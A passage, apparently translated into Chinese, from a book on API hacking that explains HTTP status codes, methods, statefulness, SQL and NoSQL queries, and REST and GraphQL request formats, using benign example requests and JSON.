请注意,像 HTTP 请求头一样,也有 HTTP 响应头。HTTP 响应头通常为浏览器提供处理响应和安全要求的指令。set-cookie头是另一个指示身份验证请求成功的标志,因为 Web 服务器已经发出了包含auth_token的 Cookie,客户端可以使用该 Cookie 访问某些资源。响应消息正文将紧随响应头后的空行之后。在这个案例中,Web 服务器发送了一条 HTML 消息,表示客户端正在被重定向到一个新网页。
我在这里展示的请求和响应展示了 Web 应用程序通过使用身份验证和授权来限制对其资源的访问的常见方式。Web 身份验证是向 Web 服务器证明你身份的过程。常见的身份验证方式包括提供密码、令牌或生物特征信息(例如指纹)。如果 Web 服务器批准身份验证请求,它将通过提供已认证用户的授权来允许访问特定资源。在清单 1-1 中,我们看到向 Twitter Web 服务器发出的身份验证请求,它通过 POST 请求发送了用户名和密码。Twitter Web 服务器通过 302 Found 响应成功的身份验证请求(见清单 1-2)。set-cookie头中的会话auth_token授权访问与 hAPI_hacker Twitter 账户相关的资源。
HTTP 状态码
当 Web 服务器响应请求时,它会发出响应状态码以及响应消息。响应代码表示 Web 服务器如何处理请求。高层次来看,响应代码决定了客户端是否被允许或拒绝访问资源。它还可以指示资源不存在,Web 服务器出现问题,或者请求的资源已经被重定向到其他位置。
清单 1-3 和 1-4 分别展示了 200 响应和 404 响应之间的区别。
**HTTP/1.1 200 OK**
Server: tsa_a
**Content-length: 6552**
**<!DOCTYPE html>**
**<html dir="ltr" lang="en">**
**[****...****]**
清单 1-3:200 响应的示例
**HTTP/1.1 404 Not Found**
Server: tsa_a
**Content-length: 0**
清单 1-4:404 响应的示例
200 OK 响应将为客户端提供请求的资源访问权限,而 404 Not Found 响应则会提供某种错误页面或空白页面,因为请求的资源未找到。
因为 Web API 主要通过 HTTP 进行通信,所以了解你应该从 Web 服务器接收到的响应代码类型非常重要,具体内容见表格 1-1。如果你想了解更多关于各个响应代码的信息或 Web 技术的一般知识,可以查阅 Mozilla 的 Web 文档(developer.mozilla.org/en-US/docs/Web/HTTP)。Mozilla 提供了大量关于 Web 应用程序结构的有用信息。
表格 1-1:HTTP 响应代码范围
| 响应代码 | 响应类型 | 描述 |
|---|---|---|
| 100s | 信息类响应 | 100s 范围内的响应通常与请求的某种处理状态更新有关。 |
| 200s | 成功的响应 | 200s 范围内的响应表示请求成功并已被接受。 |
| 300s | 重定向 | 300s 范围内的响应是重定向通知。通常会在自动将你重定向到索引/主页时看到,或者当你请求从端口 80 的 HTTP 页面重定向到端口 443 的 HTTPS 页面时。 |
| 400s | 客户端错误 | 400s 范围内的响应表示客户端出现了问题。如果你请求一个不存在的页面,或者响应超时,或者你被禁止查看某个页面时,通常会收到此类响应。 |
| 500s | 服务器错误 | 500s 范围内的响应表示服务器出现了问题。这些包括内部服务器错误、服务不可用和无法识别的请求方法。 |
HTTP 方法
HTTP 方法 用于从 web 服务器请求信息。也称为 HTTP 动词,HTTP 方法包括 GET、PUT、POST、HEAD、PATCH、OPTIONS、TRACE 和 DELETE。
GET 和 POST 是最常用的请求方法。GET 请求用于从 web 服务器获取资源,POST 请求用于将数据提交到 web 服务器。表 1-2 提供了每个 HTTP 请求方法的更深入信息。
表 1-2:HTTP 方法
| 方法 | 目的 |
|---|---|
| GET | GET 请求尝试从 web 服务器获取资源。这可以是任何资源,包括网页、用户数据、视频、地址等等。如果请求成功,服务器将提供该资源;否则,服务器将提供响应,解释为什么无法获取请求的资源。 |
| POST | POST 请求将请求体中的数据提交到 web 服务器。这可能包括客户端记录、请求从一个账户向另一个账户转账、状态更新等。例如,如果客户端多次提交相同的 POST 请求,服务器将创建多个结果。 |
| PUT | PUT 请求指示 web 服务器将提交的数据存储在请求的 URL 下。PUT 主要用于向 web 服务器发送资源。如果服务器接受 PUT 请求,它将添加资源或完全替换现有资源。如果 PUT 请求成功,应该创建一个新的 URL。如果相同的 PUT 请求再次提交,结果应该保持一致。 |
| HEAD | HEAD 请求与 GET 请求类似,不同之处在于它仅请求 HTTP 头信息,不包括消息体。此请求是获取服务器状态信息并检查给定 URL 是否有效的快速方式。 |
| PATCH | PATCH 请求用于使用提交的数据部分更新资源。如果 HTTP 响应包含 Accept-Patch 头,PATCH 请求才可能可用。 |
| OPTIONS | OPTIONS 请求是一种客户端识别从给定 Web 服务器允许的所有请求方法的方式。如果 Web 服务器响应了 OPTIONS 请求,它应该返回所有允许的请求选项。 |
| TRACE | TRACE 请求主要用于调试从客户端发送到服务器的输入。TRACE 请求让服务器回显客户端的原始请求,这可以揭示是否有机制在服务器处理请求之前更改了客户端的请求。 |
| CONNECT | CONNECT 请求启动一个双向网络连接。在允许的情况下,此请求会在浏览器和 Web 服务器之间创建一个代理隧道。 |
| DELETE | DELETE 请求要求服务器删除给定的资源。 |
一些方法是幂等的,这意味着它们可以多次发送相同的请求,而不会改变服务器上资源的状态。例如,如果你执行开灯操作,那么灯会亮起来。当开关已经打开时,再次尝试打开开关,灯仍然亮着——没有任何变化。GET、HEAD、PUT、OPTIONS 和 DELETE 方法是幂等的。
另一方面,非幂等方法会动态地改变服务器上资源的结果。非幂等方法包括 POST、PATCH 和 CONNECT。POST 是最常用的改变 Web 服务器资源的方法。POST 用于在 Web 服务器上创建新资源,因此,如果提交了 10 次 POST 请求,服务器上将会有 10 个新的资源。相比之下,如果请求了一个像 PUT 这样的幂等方法,通常用于更新资源,那么即使请求了 10 次,只有一个资源会被覆盖 10 次。
DELETE 也是幂等的,因为如果删除资源的请求发送了 10 次,资源只会被删除一次。其后的请求将不会有任何变化。Web API 通常只会使用 POST、GET、PUT、DELETE,其中 POST 为非幂等方法。
有状态与无状态 HTTP
HTTP 是一种无状态协议,这意味着服务器不会跟踪请求之间的信息。然而,为了让用户在使用 Web 应用时有一致的体验,Web 服务器需要记住一些关于该客户端的 HTTP 会话信息。例如,如果用户登录到其账户并将多个物品添加到购物车中,Web 应用需要跟踪该用户购物车的状态。否则,每次用户导航到不同的网页时,购物车都会清空。
有状态连接允许服务器跟踪客户端的行为、个人资料、图片、偏好设置等。有状态连接使用称为cookies的小文本文件在客户端存储信息。Cookies 可能存储与网站相关的设置、安全设置以及身份验证相关的信息。同时,服务器通常在其自身、缓存或后台数据库中存储信息。为了继续会话,浏览器会将存储的 cookies 包含在请求中,黑客在攻击 web 应用时,可以通过窃取或伪造 cookies 来冒充最终用户。
与服务器保持有状态连接有扩展性限制。当客户端和服务器之间保持状态时,这种关系仅存在于创建状态时所使用的特定浏览器和服务器之间。如果用户从例如在一台计算机上使用浏览器切换到在移动设备上使用浏览器,客户端需要重新认证并与服务器创建一个新状态。此外,有状态连接要求客户端持续向服务器发送请求。当许多客户端与同一服务器保持状态时,问题开始出现。服务器只能处理其计算资源允许的有状态连接数量。而这可以通过无状态应用程序更容易地解决。
无状态通信消除了管理会话所需的服务器资源。在无状态通信中,服务器不会存储会话信息,每一个无状态请求都必须包含所有必要的信息,以便 web 服务器识别请求者是否有权访问特定资源。这些无状态请求可以包括密钥或某种形式的授权头,以维持类似有状态连接的体验。这些连接不会在 web 应用服务器上存储会话数据,而是利用后台数据库。
在我们的购物车示例中,无状态应用程序可以通过根据包含特定令牌的请求更新数据库或缓存来跟踪用户购物车的内容。最终用户的体验看起来相同,但 web 服务器处理请求的方式则大不相同。由于它们的状态表现得到维持,且客户端在每个请求中提供所有所需信息,无状态应用程序可以在不担心丢失有状态连接中的信息的情况下进行扩展。相反,只要请求中包含所有必要信息且这些信息在后台数据库中可访问,任何数量的服务器都可以用来处理请求。
在黑客攻击 API 时,攻击者可以通过窃取或伪造用户的令牌来冒充最终用户。API 通信是无状态的——这是我将在下一章详细探讨的话题。
Web 服务器数据库
数据库允许服务器存储并快速向客户端提供资源。例如,任何允许你上传状态更新、照片和视频的社交媒体平台,肯定使用数据库来保存所有这些内容。该社交媒体平台可能会自行维护这些数据库;或者,这些数据库也可以作为服务提供给平台。
通常,网页应用程序会通过将资源从前端代码传递到后端数据库来存储用户资源。网页应用程序的前端是用户交互的部分,决定了它的外观和感觉,并包括按钮、链接、视频和字体。前端代码通常包括 HTML、CSS 和 JavaScript。此外,前端还可能包括如 AngularJS、ReactJS 和 Bootstrap 等网页应用框架。后端则由前端所需的技术组成,包括服务器、应用程序和任何数据库。后端编程语言包括 JavaScript、Python、Ruby、Golang、PHP、Java、C# 和 Perl 等。
在一个安全的网页应用程序中,用户和后端数据库之间不应该有直接的互动。直接访问数据库会移除一层防护,并使数据库容易受到额外的攻击。当向最终用户暴露技术时,网页应用程序提供者会增加其潜在攻击面,这个度量称为攻击面。限制对数据库的直接访问可以缩小攻击面的大小。
现代网页应用程序使用 SQL(关系型)数据库或 NoSQL(非关系型)数据库。了解 SQL 和 NoSQL 数据库之间的区别,将有助于你日后定制 API 注入攻击。
SQL
结构化查询语言(SQL)数据库是关系型数据库,其中数据按表格组织。表格的行,称为记录,标识数据类型,如用户名、电子邮件地址或权限级别。其列是数据的属性,可能包括所有不同的用户名、电子邮件地址和权限级别。在表 1-3 到 1-5 中,UserID、Username、Email 和 Privilege 是数据类型。行则是给定表格的数据。
表 1-3:关系型用户表
| 用户 ID | 用户名 |
|---|---|
| 111 | hAPI_hacker |
| 112 | Scuttleph1sh |
| 113 | mysterioushadow |
表 1-4:关系型电子邮件表
| 用户 ID | 电子邮件 |
|---|---|
| 111 | hapi_hacker@email.com |
| 112 | scuttleph1sh@email.com |
| 113 | mysterioushadow@email.com |
表 1-5:关系型权限表
| 用户 ID | 权限 |
|---|---|
| 111 | 管理员 |
| 112 | partner |
| 113 | 用户 |
要从 SQL 数据库中检索数据,应用程序必须构造一个 SQL 查询。一个典型的查询,以查找 ID 为 111 的客户为例,可能是这样的:
SELECT * FROM Email WHERE UserID = 111;
该查询请求从 Email 表中获取所有 UserID 列值为 111 的记录。SELECT 是用于从数据库中获取信息的语句,星号是通配符字符,表示选择表中的所有列,FROM 用于指定查询的表,WHERE 是用于筛选特定结果的子句。
SQL 数据库有多种类型,但它们的查询方式类似。SQL 数据库包括 MySQL、Microsoft SQL Server、PostgreSQL、Oracle 和 MariaDB 等。
在后续章节中,我将讲解如何发送 API 请求来检测注入漏洞,例如 SQL 注入。SQL 注入是一种经典的 web 应用攻击,已经困扰了 web 应用超过二十年,但它仍然是 API 中可能存在的攻击方法。
NoSQL
NoSQL 数据库,也称为分布式数据库,是非关系型的,意味着它们不遵循关系型数据库的结构。NoSQL 数据库通常是开源工具,用于处理非结构化数据并将数据存储为文档。与关系型数据库不同,NoSQL 数据库通过键值对来存储信息,而不是通过关系存储。与 SQL 数据库不同,每种类型的 NoSQL 数据库都有其独特的结构、查询模式、漏洞和利用方式。以下是使用 MongoDB 进行查询的示例,MongoDB 是当前市场份额领先的 NoSQL 数据库:
db.collection.find({"UserID": 111})
在此示例中,db.collection.find() 是用于在文档中查找 UserID 值为 111 的信息的方法。MongoDB 使用多个可能有用的操作符:
-
$eq匹配等于指定值的值 -
$gt匹配大于指定值的值 -
$lt匹配小于指定值的值 -
$ne匹配所有不等于指定值的值
这些操作符可以在 NoSQL 查询中使用,用于选择和过滤查询中的特定信息。例如,我们可以使用之前的命令而无需知道确切的 UserID,像这样:
db.collection.find({"UserID": {$gt:110}})
该语句将找到所有 UserID 大于 110 的记录。理解这些操作符在本书后续讲解 NoSQL 注入攻击时会非常有用。
NoSQL 数据库包括 MongoDB、Couchbase、Cassandra、IBM Domino、Oracle NoSQL 数据库、Redis 和 Elasticsearch 等。
API 在整个框架中的作用
如果一个 web 应用能够利用其他应用的功能,它将变得更强大。应用程序编程接口(APIs) 是一种促进不同应用程序之间通信的技术。特别是,web API 允许基于 HTTP 的机器对机器通信,提供了一个将不同应用程序连接在一起的通用方法。
这种能力为应用提供商开辟了广阔的机会,因为开发者不再需要在他们想要提供给最终用户的每个功能方面都成为专家。例如,假设我们考虑一个共享乘车应用。该应用需要一个地图来帮助司机导航城市,需要一个处理支付的方法,以及一个供司机和客户沟通的方式。开发者可以利用 Google Maps API 来实现地图功能,利用 Stripe API 来处理支付,利用 Twilio API 来访问短信功能。开发者可以将这些 API 结合起来,创建一个全新的应用。
这种技术的直接影响是双重的。首先,它简化了信息的交换。通过使用 HTTP,Web API 可以利用协议的标准化方法、状态码和客户端/服务器关系,使开发者能够编写可以自动处理数据的代码。其次,API 使得 Web 应用提供商能够专注于自己的专业领域,因为他们不再需要创建每个 Web 应用的各个方面。
API 是一项具有全球影响的令人难以置信的技术。然而,正如你将在接下来的章节中看到的,它们大大增加了每个使用它们的应用在互联网上的攻击面。
总结
本章介绍了 Web 应用的基本方面。如果你理解了 HTTP 请求和响应、身份验证/授权以及数据库的一般功能,你将能够轻松理解 Web API,因为 Web 应用的底层技术正是 Web API 的底层技术。在下一章中,我们将分析 API 的构成。
本章旨在为你提供足够的信息,以便作为一个 API 黑客而不是开发者或应用架构师。若你希望了解更多关于 Web 应用的资源,我强烈推荐《Web 应用黑客手册》(Wiley,2011),《Web 应用安全》(O’Reilly,2020),《Web 开发者的 Web 安全》(No Starch Press,2020)和《错综复杂的 Web》(No Starch Press,2011)。
第三章:Web API 的解剖

大多数普通用户对 Web 应用程序的了解来自于他们在 Web 浏览器的图形用户界面(GUI)中能看到和点击的内容。在幕后,API 执行大部分工作。特别是,Web API 提供了一种应用程序可以通过 HTTP 使用其他应用程序的功能和数据,以便将图像、文本和视频传递到 Web 应用程序 GUI 的方式。
本章涵盖常见的 API 术语、类型、数据交换格式和认证方法,并通过示例将这些信息联系在一起:观察与 Twitter API 交互期间交换的请求和响应。
Web API 的工作原理
与 Web 应用程序类似,Web API 依赖于 HTTP,在 API 的主机(提供者)与发出 API 请求的系统或个人(消费者)之间建立客户端/服务器关系。
API 消费者可以从API 端点请求资源,这是与 API 的某一部分进行交互的 URL。以下每个示例都是不同的 API 端点:
资源是被请求的数据。单例资源是一个唯一的对象,例如/api/user/{user_id}。集合是一组资源,例如/api/profiles/users。子集合指的是特定资源内的集合。例如,/api/user/{user_id}/settings 是访问特定(单例)用户的设置子集合的端点。
当消费者从提供者请求资源时,请求会经过一个API 网关,这是一个作为 Web 应用入口点的 API 管理组件。例如,如图 Figure 2-1 所示,最终用户可以使用众多设备访问应用程序的服务,所有这些设备都经过 API 网关过滤。然后,API 网关将请求分发到需要满足每个请求的微服务。
API 网关会过滤错误请求,监控传入流量,并将每个请求路由到适当的服务或微服务。API 网关还可以处理诸如身份验证、授权、传输中的 SSL 加密、速率限制和负载平衡等安全控制。

Figure 2-1: 一个示例微服务架构和 API 网关
微服务是一个 Web 应用程序的模块化部分,处理特定的功能。微服务使用 API 来传输数据并触发操作。例如,一个带有支付网关的 Web 应用程序可能在一个单独的网页上具有几个不同的功能:账单功能、记录客户账户信息的功能以及在购买后发送电子邮件收据的功能。该应用程序的后端设计可以是单体架构,意味着所有服务都存在于一个单一的应用程序中,或者它可以有一个微服务架构,其中每个服务作为独立的应用程序运行。
API 使用者无法看到后端设计,他们只能看到可以交互的端点和可以访问的资源。这些内容在 API 的契约中列出,契约是人类可读的文档,描述了如何使用 API 以及你可以期望它的行为。API 文档在不同的组织之间有所不同,但通常包括认证要求、用户权限级别、API 端点和所需的请求参数的描述。它可能还包括使用示例。从 API 黑客的角度来看,文档可以揭示调用客户数据的端点,成为管理员所需的 API 密钥,甚至业务逻辑的缺陷。
在以下框中,来自docs.github.com/en/rest/reference/apps的 GitHub API 文档,针对/applications/{client_id}/grants/{access_token}端点,是优质文档的示例。
该端点的文档包括 API 请求的目的描述、与 API 端点交互时使用的 HTTP 请求方法,以及端点本身,/applications,后面跟随变量。
缩写CRUD,即创建、读取、更新、删除,描述了与 API 交互时使用的主要操作和方法。创建是通过 POST 请求来创建新记录的过程。读取是数据检索,通过 GET 请求完成。更新是修改当前已存在记录而不覆盖的过程,通过 POST 或 PUT 请求完成。删除是删除记录的过程,可以通过 POST 或 DELETE 请求实现,如示例所示。请注意,CRUD 仅仅是最佳实践,开发人员可能会以其他方式实现他们的 API。因此,当你以后学习如何破解 API 时,我们将测试超越 CRUD 方法的内容。
按惯例,大括号表示在路径参数中需要一个特定的变量。{client_id} 变量必须替换为实际的客户端 ID,{access_token} 变量必须替换为你自己的访问令牌。令牌是 API 提供者用来识别和授权对已批准的 API 消费者的请求的工具。其他 API 文档可能使用冒号或方括号来表示变量(例如,/api/v2/:customers/ 或 /api/:collection/:client_id)。
“参数”部分列出了执行所述操作所需的身份验证和授权要求,包括每个参数值的名称、提供的数据类型、数据的包含位置以及对参数值的描述。
标准 Web API 类型
API 有标准类型,每种类型在规则、功能和目的上有所不同。通常,给定的 API 将只使用一种类型,但你可能会遇到与其他 API 格式和结构不匹配的端点,或者根本不匹配任何标准类型。能够识别典型和非典型 API 将帮助你了解作为 API 黑客需要期待什么并进行测试。记住,大多数公共 API 都是自助服务设计的,因此 API 提供者通常会告知你将与哪种类型的 API 进行交互。
本节描述了本书将重点讨论的两种主要 API 类型:RESTful API 和 GraphQL。书中的后续部分以及实验部分将专门讨论对 RESTful API 和 GraphQL 的攻击。
RESTful API
表现层状态转移(REST) 是一组用于使用 HTTP 方法进行通信的应用程序架构约束。使用 REST 约束的 API 被称为 RESTful(或简称 REST)API。
REST 旨在改进其他较老的 API(如简单对象访问协议 SOAP)的许多低效之处。例如,它完全依赖于使用 HTTP,这使得它对最终用户更为友好。REST API 主要使用 HTTP 方法 GET、POST、PUT 和 DELETE 来实现 CRUD(如“Web API 工作原理”一节所述)。
RESTful 设计依赖于六个约束条件。这些约束是“应该”而不是“必须”,反映了 REST 本质上是一套基于 HTTP 资源架构的指南:
-
统一接口:REST API 应该具有统一的接口。换句话说,客户端设备不应成为问题;无论是移动设备、物联网(IoT)设备还是笔记本电脑,都必须能够以相同的方式访问服务器。
-
客户端/服务器:REST API 应该具有客户端/服务器架构。客户端是请求信息的消费者,服务器是提供信息的提供者。
-
无状态: REST API 不应要求有状态的通信。REST API 在通信过程中不维护状态;每次请求就像是服务器接收到的第一个请求。因此,消费者需要提供服务器执行请求所需的所有信息。这种方式的好处是,服务器无需记住每个请求之间的消费者信息。消费者通常会提供令牌来创建类似状态的体验。
-
可缓存: REST API 提供者的响应应该指示该响应是否可以缓存。缓存是一种通过将常请求的数据存储在客户端或服务器缓存中来提高请求吞吐量的方法。当请求被发出时,客户端首先会检查本地存储是否有请求的信息。如果找不到,它会将请求传递给服务器,服务器再检查自己的本地存储。如果数据仍然找不到,请求可能会被传递给其他服务器,如数据库服务器,去检索数据。
正如你所想象的,如果数据存储在客户端,客户端可以立即在几乎没有服务器处理成本的情况下检索请求的数据。如果服务器已经缓存了某个请求的结果,这同样适用。请求获取数据的链条越长,资源消耗越高,所需时间也越长。通过默认使 REST API 可缓存,是提高整体 REST 性能和可扩展性的一种方式,能减少响应时间和服务器处理能力的消耗。API 通常使用头部信息来管理缓存,解释何时请求的信息会从缓存中过期。
-
分层系统: 客户端应该能够从端点请求数据,而无需了解底层服务器架构。
-
按需代码(可选): 允许将代码发送到客户端执行。
REST 是一种风格,而不是协议,因此每个 RESTful API 可能会有所不同。它可能启用了 CRUD 之外的方法,拥有自己的一套认证要求,使用子域名而非路径来定义端点,具有不同的速率限制要求,等等。此外,开发者或组织可能会将他们的 API 称为“RESTful”,但并未遵循标准,这意味着你不能期望每个遇到的 API 都符合所有的 REST 限制。
列表 2-1 显示了一个典型的 REST API GET 请求,用于查找商店库存中有多少个枕头。列表 2-2 显示了提供者的响应。
GET /api/v3/inventory/item/pillow HTTP/1.1
HOST: rest-shop.com
User-Agent: Mozilla/5.0
Accept: application/json
列表 2-1:一个示例的 RESTful API 请求
HTTP/1.1 200 OK
Server: RESTfulServer/0.1
Cache-Control: no-store
Content-Type: application/json
{
"item": {
"id": "00101",
"name": "pillow",
"count": 25
"price": {
"currency": "USD",
"value": "19.99"
}
},
}
列表 2-2:一个示例的 RESTful API 响应
这个 REST API 请求仅是一个 HTTP GET 请求,指向指定的 URL。在这个例子中,请求查询商店的枕头库存。提供者以 JSON 格式响应,显示该商品的 ID、名称和库存数量。如果请求出错,提供者会以 400 范围的 HTTP 错误代码回应,指示问题所在。
有一点需要注意:rest-shop.com 商店在其响应中提供了有关资源“枕头”的所有信息。如果消费者的应用程序只需要枕头的名称和值,消费者则需要过滤掉额外的信息。返回给消费者的信息量完全取决于 API 提供者如何编程其 API。
REST APIs 有一些常见的头,你应该熟悉它们。这些头与 HTTP 头是一样的,但在 REST API 请求中比在其他 API 类型中更常见,因此它们可以帮助你识别 REST APIs。(头部、命名约定和数据交换格式通常是 API 类型的最佳指示器。)以下小节详细介绍了一些你会遇到的常见 REST API 头。
授权
Authorization 头用于将令牌或凭证传递给 API 提供者。这些头的格式是 Authorization: <type> <token/credentials>。例如,看看下面的授权头:
Authorization: Bearer Ab4dtok3n
有不同的授权类型. Basic 使用 base64 编码的凭证,Bearer 使用 API 令牌,最后,AWS-HMAC-SHA256 是一种 AWS 授权类型,使用访问密钥和密钥。
内容类型
Content-Type 头用于指示正在传输的媒体类型。这些头与 Accept 头不同,后者表示你希望接收的媒体类型;Content-Type 头描述你正在发送的媒体类型。
以下是一些常见的 Content-Type 头用于 REST APIs:
-
application/json用于指定 JavaScript 对象表示法(JSON)作为媒体类型。JSON 是 REST APIs 中最常见的媒体类型。 -
application/xml用于指定 XML 作为媒体类型。 -
application/x-www-form-``urlencoded一种格式,其中发送的值被编码并用一个和号 (&) 分隔,键值对之间使用等号 (=)。
中间件 (X) 头
X-<anything> 头部被称为 中间件头部,可以用于各种目的。它们在 API 请求之外也相当常见。X-Response-Time 可作为 API 响应,用于指示响应处理所花费的时间。X-API-Key 可作为 API 密钥的授权头部。X-Powered-By 可提供有关后端服务的附加信息。X-Rate-Limit 可告知消费者在给定时间内可以发出多少请求。X-RateLimit-Remaining 可告知消费者在违反速率限制之前还能发出多少个请求。(还有许多其他的,但你明白这个意思。)X-<anything> 中间件头部可以为 API 消费者和黑客提供大量有用信息。
GraphQL
Graph Query Language(图查询语言)的简称,GraphQL 是一种 API 规范,允许客户端定义它们希望从服务器请求的数据结构。GraphQL 是 RESTful 的,因为它遵循 REST API 的六个约束。然而,GraphQL 也采用了 查询中心 的方法,因为它的结构类似于像结构化查询语言(SQL)这样的数据库查询语言。
正如你从规范的名称中可能得出的结论,GraphQL 将资源存储在图数据结构中。要访问 GraphQL API,通常需要访问其托管的 URL,并提交一个包含查询参数的授权请求作为 POST 请求的主体,类似于以下内容:
query {
users {
username
id
email
}
}
在正确的上下文中,这个查询将为你提供所请求资源的用户名、ID 和电子邮件。对这个查询的 GraphQL 响应将如下所示:
{
"data": {
"users": {
"username": "hapi_hacker",
"id": 1111,
"email": "hapihacker@email.com"
}
}
}
GraphQL 在多个方面改进了典型的 REST API。由于 REST API 是基于资源的,消费者可能需要发出多个请求才能获取他们需要的所有数据。另一方面,如果消费者只需要来自 API 提供者的特定值,消费者则需要筛选掉多余的数据。而 GraphQL 允许消费者通过单个请求获得他们想要的确切数据。这是因为与 REST API 不同,在 REST API 中,客户端会接收到服务器程序设置的返回数据,其中包括他们不需要的数据,而 GraphQL API 允许客户端从资源中请求特定字段。
GraphQL 也使用 HTTP,但通常依赖于一个使用 POST 方法的单一入口点(URL)。在一个 GraphQL 请求中,POST 请求的主体是服务提供者处理的内容。例如,查看 列表 2-3 中的 GraphQL 请求和 列表 2-4 中的响应,展示了一个检查商店显卡库存的请求。
POST /graphql HTTP/1.1
HOST: graphql-shop.com
Authorization: Bearer ab4dt0k3n
{query❶ {
inventory❷ (item:"Graphics Card", id: 00101) {
name
fields❸{
price
quantity} } }
}
列表 2-3:一个 GraphQL 请求示例
HTTP/1.1 200 OK
Content-Type: application/json
Server: GraphqlServer
{
"data": {
"inventory": { "name": "Graphics Card",
"fields":❹[
{
"price":"999.99"
"quantity": 25 } ] } }
}
列表 2-4:一个 GraphQL 响应示例
如你所见,请求负载在主体中指定了所需的信息。GraphQL 请求体以查询操作 ❶ 开头,等同于 GET 请求,用于从 API 获取信息。我们正在查询的 GraphQL 节点 "inventory" ❷ 也被称为根查询类型。节点类似于对象,由字段 ❸ 组成,类似于 REST 中的键值对。这里的主要区别在于我们可以指定具体的字段。在这个例子中,我们查询的是“价格”和“数量”字段。最后,你可以看到 GraphQL 响应只提供了所请求的显卡的字段 ❹。没有获取商品 ID、商品名称和其他冗余信息,查询只返回了所需的字段。
如果这是一个 REST API,可能需要向不同的端点发送请求,先获取显卡的数量,再获取品牌,但使用 GraphQL,你可以从一个端点构建查询,获取所需的具体信息。
GraphQL 仍然使用 CRUD 操作,刚开始可能会让人困惑,因为它依赖于 POST 请求。然而,GraphQL 在 POST 请求中使用三种操作与 GraphQL API 交互:查询(query)、变更(mutation)和订阅(subscription)。查询是用于检索数据(读取)。变更是用于提交和写入数据(创建、更新和删除)。订阅是用于在事件发生时发送数据(读取)。订阅是 GraphQL 客户端监听服务器实时更新的一种方式。
GraphQL 使用 架构,即可以通过给定服务查询的数据集合。访问 GraphQL 架构类似于访问 REST API 集合。GraphQL 架构将为你提供查询 API 所需的信息。
如果有 GraphQL IDE(如 GraphiQL),你可以通过浏览器与 GraphQL 进行交互(见 图 2-2)。
否则,你需要使用 GraphQL 客户端,如 Postman、Apollo-Client、GraphQL-Request、GraphQL-CLI 或 GraphQL-Compose。在后面的章节中,我们将使用 Postman 作为 GraphQL 客户端。

图 2-2:GitHub 的 GraphiQL 接口
REST API 规范
REST API 的多样性为其他工具和标准化留下了填补一些空白的空间。API 规范或描述语言是帮助组织设计其 API 的框架,自动创建一致的人类可读文档,并帮助开发者和用户了解 API 功能和结果预期的工具。没有规范,API 之间的一致性将很少甚至没有。消费者必须了解每个 API 的文档格式,并调整其应用程序以与每个 API 交互。
相反,消费者可以编写其应用程序以接受不同的规范,然后轻松地与使用给定规范的任何 API 交互。换句话说,您可以将规范视为 API 的家庭电源插座。与为每个家用电器设计唯一的电源插座不同,贯穿整个家庭使用统一的格式使您能够在任何墙壁上的插座上购买烤面包机并插入,而无需任何麻烦。
OpenAPI Specification 3.0 (OAS),之前称为 Swagger,是 RESTful API 的主要规范之一。OAS 通过允许开发者描述端点、资源、操作以及认证和授权需求来帮助组织和管理 API。开发者可以创建人类和机器可读的 API 文档,格式可以是 JSON 或 YAML。一致的 API 文档对开发者和用户都是有利的。
RESTful API 建模语言 (RAML) 是另一种一致生成 API 文档的方法。RAML 是一种专门用于文档格式化的开放规范,完全采用 YAML。与 OAS 类似,RAML 旨在文档化、设计、构建和测试 REST API。有关 RAML 的更多信息,请访问 raml-spec GitHub 仓库(github.com/raml-org/raml-spec)。
在后续章节中,我们将使用一个名为 Postman 的 API 客户端来导入规范,并即时访问组织 API 的功能。
API 数据交换格式
API 使用多种格式促进数据交换。此外,规范使用这些格式来记录 API。某些 API(如 SOAP)要求特定格式,而其他 API 允许客户端在请求和响应体中指定使用的格式。本节介绍三种常见的格式:JSON、XML 和 YAML。熟悉数据交换格式将帮助您识别 API 类型、API 的功能及其如何处理数据。
JSON
JavaScript Object Notation (JSON) 是本书中主要使用的数据交换格式,因为它广泛用于 API。JSON 以一种既可读又易于应用程序解析的方式组织数据;许多编程语言可以将 JSON 转换为它们可以使用的数据类型。
JSON 将对象表示为由逗号分隔的键/值对,位于一对大括号内,如下所示:
{
"firstName": "James",
"lastName": "Lovell",
"tripsToTheMoon": 2,
"isAstronaut": true,
"walkedOnMoon": false,
"comment" : "This is a comment",
"spacecrafts": ["Gemini 7", "Gemini 12", "Apollo 8", "Apollo 13"],
"book": [
{
"title": "Lost Moon",
"genre": "Non-fiction"
}
]
}
从第一个花括号到最后一个花括号之间的所有内容都被认为是一个对象。在该对象中,有几个键值对,例如 "firstName": "James","lastName": "Lovell",和 "tripsToTheMoon": 2。键值对的第一个条目(左边)是 键,一个描述值对的字符串,第二个条目是 值(右边),它是某种类型的数据,表示为可接受的数据类型之一(字符串、数字、布尔值、null、数组或另一个对象)。例如,注意到 "walkedOnMoon" 的布尔值为 false,或 "spacecrafts" 数组被方括号包围。最后,嵌套的对象 "book" 包含它自己的键值对集合。表 2-1 更详细地描述了 JSON 类型。
JSON 不允许内联注释,因此任何类似注释的内容必须作为键值对存在,例如 "comment" : "这是一个注释"。或者,你可以在 API 文档或 HTTP 响应中找到注释。
表 2-1:JSON 类型
| 类型 | 描述 | 示例 |
|---|
| 字符串 | 双引号内的任意字符组合。 | { "Motto":"Hack the planet",
"Drink":"Jolt",
"User”:"Razor"
} |
| 数字 | 基本整数、分数、负数和指数。请注意,多个项目之间用逗号分隔。 | { "number_1" : 101,
"number_2" : -102,
"number_3" : 1.03,
"number_4" : 1.0E+4
} |
| 布尔值 | true 或 false。 | { "admin" : false,
"privesc" : true
} |
| Null | 没有值。 | { "value" : null
} |
| 数组 | 有序的值集合。值集合由括号([])括起来,且值之间用逗号分隔。 | { "uid" : ["1","2","3"]
} |
| 对象 | 无序的值对集合,插入在花括号({})之间。一个对象可以包含多个键值对。 | { "admin" : false,
"key" : "value",
"privesc" : true,
"uid" : 101,
"vulnerabilities" : "众多漏洞"
} |
为了说明这些类型,看看以下在 Twitter API 响应中找到的 JSON 数据中的键值对:
{
"id":1278533978970976256, ❶
"id_str":"1278533978970976256", ❷
"full_text":"1984: William Gibson published his debut novel, Neuromancer. It's a cyberpunk tale about Henry Case, a washed up computer hacker who's offered a chance at redemption by a mysterious dude named Armitage. Cyberspace. Hacking. Virtual reality. The matrix. Hacktivism. A must read. https:\/\/t.co\/R9hm2LOKQi",
"truncated":false ❸
}
在这个例子中,你应该能够识别数字 1278533978970976256 ❶,像 "id_str" 和 "full_text" 这样的字符串 ❷,以及 "truncated" 的布尔值 ❸。
XML
